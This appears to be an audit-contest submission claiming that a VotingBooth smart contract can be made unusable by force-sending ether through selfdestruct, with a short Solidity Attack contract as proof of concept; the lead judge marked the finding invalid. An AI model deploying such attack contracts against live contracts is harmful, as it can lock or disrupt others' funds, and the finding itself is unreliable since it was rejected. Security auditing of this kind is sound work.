Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Invalid

The use of address(this).balance makes it possible for an attacker to use selfdestruct to make the whole contract unusable

Summary

An attacker can attack the contract by force sending an amount to the VotingBooth contract which is greater than the amount which the VotingBooth contract holds as the intended reward if the vote passes.

POC

After deploying the VotingBooth contract with say 1E and the Attack::attack() as shown below is called with an amount greater than 1E, it would be impossible to call any function in the VotingBooth contract:

contract Attack {
VotingBooth booth;
uint256 constant ETH_REWARD = 10e18;
constructor(VotingBooth _booth) {
booth = VotingBooth(_booth);
}
function attack() public payable {
address payable addr = payable(address(booth));
selfdestruct(addr);
}
}

Impact

High. Once the VotingBooth contract is attacked it becomes impossible to make any call in the contract.

Tools Used

Manual

Recommendations

Avoid the use of address(this).balance in the VotingBooth contract.

Updates

Lead Judging Commences

0xnevi Lead Judge
over 1 year ago
0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Other

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.